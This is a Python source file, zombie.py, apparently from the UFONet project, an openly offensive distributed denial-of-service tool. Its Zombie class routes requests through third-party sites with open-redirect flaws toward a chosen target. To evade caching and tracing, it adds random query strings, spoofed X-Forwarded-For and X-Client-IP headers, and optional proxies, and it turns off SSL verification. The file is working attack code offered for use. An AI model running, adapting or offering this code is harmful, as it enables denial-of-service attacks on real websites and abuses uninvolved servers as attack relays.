zombie.py 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import io, hashlib, re, sys, certifi
  11. import time, threading, random
  12. from .randomip import RandomIP
  13. try:
  14. import pycurl
  15. except ImportError:
  16. from core._ensure import ensure
  17. if ensure('pycurl') is None:
  18. print("\nError importing: pycurl lib. \n\n")
  19. sys.exit(2)
  20. import pycurl
  21. class Zombie: # class representing a zombie
  22. # constructor: function to construct a zombie
  23. # ufo: UFONet object, some state variables are recovered as well
  24. # zombie: name/url of zombie
  25. def __init__(self, ufo, zombie):
  26. self.ufo = ufo
  27. self.payload=ufo.payload
  28. self.attack_mode=ufo.attack_mode
  29. self.zombie = zombie
  30. self.connection_failed=True
  31. # wait for semaphore to be ready, add to herd, connect & suicide!
  32. def connect(self):
  33. reply=None
  34. with self.ufo.sem:
  35. self.ufo.herd.new_zombie(self.zombie)
  36. reply=self.do_connect()
  37. self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
  38. return reply
  39. # handles zombie connection
  40. def do_connect(self):
  41. # connect zombies and manage different options: HEAD, GET, POST,
  42. # user-Agent, referer, timeout, retries, threads, delay..
  43. options = self.ufo.options
  44. c = pycurl.Curl()
  45. if self.ufo.head == True:
  46. try:
  47. c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
  48. except:
  49. c.setopt(pycurl.URL, self.zombie.encode('utf-8'))
  50. c.setopt(pycurl.NOBODY, True) # use HEAD
  51. if self.payload == True:
  52. payload = self.zombie + "https://www.whitehouse.gov" # Open Redirect payload [requested by all UFONet motherships ;-)]
  53. try:
  54. c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
  55. except:
  56. c.setopt(pycurl.URL, payload.encode('utf-8'))
  57. c.setopt(pycurl.NOBODY, 0) # use GET
  58. #if self.ufo.external == True:
  59. # external_service = "https://status.ws/" # external check
  60. # if options.target.startswith('https://'): # fixing url prefix
  61. # options.target = options.target.replace('https://','')
  62. # if options.target.startswith('http://'): # fixing url prefix
  63. # options.target = options.target.replace('http://','')
  64. # external = external_service + options.target
  65. # try:
  66. # c.setopt(pycurl.URL, external) # external HEAD check before to attack
  67. # except:
  68. # c.setopt(pycurl.URL, external.encode('utf-8'))
  69. # c.setopt(pycurl.NOBODY, 0) # use GET
  70. if self.attack_mode == True:
  71. if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
  72. random_name_hash = random.randint(1, 100000000)
  73. random_hash = random.randint(1, 100000000)
  74. if options.place.endswith("/"):
  75. options.place = re.sub('/$', '', options.place)
  76. if options.place.startswith("/"):
  77. if "?" in options.place:
  78. url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  79. else:
  80. url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  81. else:
  82. if "?" in options.place:
  83. url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  84. else:
  85. url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  86. else:
  87. url_attack = self.zombie + options.target # Use self.zombie vector to connect to original target url
  88. if self.ufo.options.verbose:
  89. print("[Info] [Zombies] Payload:", url_attack)
  90. try:
  91. c.setopt(pycurl.URL, url_attack) # GET connection on target site
  92. except:
  93. c.setopt(pycurl.URL, url_attack.encode('utf-8'))
  94. c.setopt(pycurl.NOBODY, 0) # use GET
  95. # set fake headers (important: no-cache)
  96. fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
  97. 'Connection: Keep-Alive',
  98. 'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
  99. 'Cache-control: no-cache',
  100. 'Pragma: no-cache',
  101. 'Pragma-directive: no-cache',
  102. 'Cache-directive: no-cache',
  103. 'Expires: 0']
  104. c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects
  105. c.setopt(pycurl.MAXREDIRS, 10) # set max redirects
  106. c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
  107. c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
  108. # c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
  109. c.setopt(pycurl.CAINFO, certifi.where()) # black magic
  110. c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
  111. c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
  112. c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
  113. c.setopt(pycurl.NOSIGNAL, 1) # pass 'long' to stack to fix libcurl bug
  114. c.setopt(pycurl.ENCODING, "") # use all available encodings (black magic)
  115. if options.xforw: # set x-forwarded-for
  116. generate_random_xforw = RandomIP()
  117. xforwip = generate_random_xforw._generateip('')
  118. xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
  119. fakeheaders = fakeheaders + xforwfakevalue
  120. if options.xclient: # set x-client-ip
  121. generate_random_xclient = RandomIP()
  122. xclientip = generate_random_xclient._generateip('')
  123. xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
  124. fakeheaders = fakeheaders + xclientfakevalue
  125. if options.host: # set http host header
  126. host_fakevalue = ['Host: ' + str(options.host)]
  127. fakeheaders = fakeheaders + host_fakevalue
  128. c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers
  129. b = io.BytesIO()
  130. c.setopt(pycurl.HEADERFUNCTION, b.write)
  131. h = io.BytesIO()
  132. c.setopt(pycurl.WRITEFUNCTION, h.write)
  133. if options.agent: # set user-agent
  134. c.setopt(pycurl.USERAGENT, options.agent)
  135. else:
  136. c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
  137. if options.referer: # set referer
  138. c.setopt(pycurl.REFERER, options.referer)
  139. else:
  140. c.setopt(pycurl.REFERER, self.ufo.referer)
  141. if options.proxy: # set proxy
  142. proxy = options.proxy
  143. sep = ":"
  144. proxy_ip = proxy.rsplit(sep, 1)[0]
  145. if proxy_ip.startswith('http://'):
  146. proxy_ip = proxy_ip.replace('http://', '')
  147. elif proxy_ip.startswith('https://'):
  148. proxy_ip = proxy_ip.replace('https://', '')
  149. proxy_port = proxy.rsplit(sep, 1)[1]
  150. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (ex: privoxy)
  151. proxy_ip = 'localhost'
  152. c.setopt(pycurl.PROXY, proxy_ip)
  153. c.setopt(pycurl.PROXYPORT, int(proxy_port))
  154. else:
  155. c.setopt(pycurl.PROXY, '')
  156. c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
  157. if options.timeout: # set timeout
  158. c.setopt(pycurl.TIMEOUT, options.timeout)
  159. c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
  160. else:
  161. c.setopt(pycurl.TIMEOUT, 5) # low value trying to control OS/python overflow when too many threads are open
  162. c.setopt(pycurl.CONNECTTIMEOUT, 5)
  163. if options.delay: # set delay
  164. self.ufo.delay = options.delay
  165. else:
  166. self.ufo.delay = 0 # default delay
  167. if options.retries: # set retries
  168. self.ufo.retries = options.retries
  169. else:
  170. self.ufo.retries = 0 # default retries
  171. try: # try to connect
  172. c.perform()
  173. time.sleep(self.ufo.delay)
  174. self.connection_failed = False
  175. except Exception as e: # try retries
  176. for count in range(0, self.ufo.retries):
  177. time.sleep(self.ufo.delay)
  178. try:
  179. c.perform()
  180. self.connection_failed = False
  181. except:
  182. self.connection_failed = True
  183. if self.ufo.head == True: # HEAD reply
  184. try:
  185. reply = b.getvalue().decode('utf-8')
  186. except:
  187. try:
  188. reply = b.getvalue()
  189. except:
  190. reply = None
  191. try:
  192. code_reply = c.getinfo(pycurl.HTTP_CODE)
  193. except:
  194. code_reply = 0
  195. if reply:
  196. if options.verbose:
  197. print("[Info] [AI] HEAD Reply:")
  198. print("\n"+ reply)
  199. if self.ufo.options.testrpc:
  200. return reply
  201. else:
  202. return code_reply
  203. if self.ufo.external == True: # External reply
  204. try:
  205. external_reply = h.getvalue().decode('utf-8')
  206. except:
  207. try:
  208. external_reply = h.getvalue()
  209. except:
  210. external_reply = None
  211. if external_reply:
  212. if options.verbose:
  213. print("[Info] [AI] EXTERNAL Reply:")
  214. print("\n"+ external_reply)
  215. return external_reply
  216. if self.payload == True: # Payloads reply
  217. try:
  218. payload_reply = h.getvalue().decode('utf-8')
  219. except:
  220. try:
  221. payload_reply = h.getvalue()
  222. except:
  223. payload_reply = None
  224. if payload_reply:
  225. if options.verbose:
  226. print("[Info] [AI] PAYLOAD Reply:")
  227. print("\n"+ payload_reply)
  228. return payload_reply
  229. if self.attack_mode == True: # Attack mode reply
  230. try:
  231. attack_reply = h.getvalue().decode('utf-8')
  232. except:
  233. try:
  234. attack_reply = h.getvalue()
  235. except:
  236. attack_reply = None
  237. try:
  238. reply_code = c.getinfo(c.RESPONSE_CODE)
  239. except:
  240. reply_code = 0
  241. try:
  242. reply_time = c.getinfo(c.TOTAL_TIME)
  243. except:
  244. reply_time = 0
  245. try:
  246. reply_size = len(attack_reply)
  247. except:
  248. reply_size = 0
  249. if options.verbose:
  250. print("[Info] [AI] [Zombies] "+self.zombie+" -> REPLY (HTTP Code: "+ str(reply_code)+" | Time: "+str(reply_time)+" | Size: " + str(reply_size)+")")
  251. time.sleep(5) # managing screen (multi-threading flow time compensation)
  252. if len(attack_reply) == 0:
  253. print("[Info] [Zombies] " + self.zombie + " -> FAILED (cannot connect!)")
  254. if not self.ufo.options.disablepurge: # when purge mode discard failed zombie
  255. self.ufo.discardzombies.append(self.zombie)
  256. self.ufo.num_discard_zombies = self.ufo.num_discard_zombies + 1
  257. return [reply_code, reply_time, reply_size]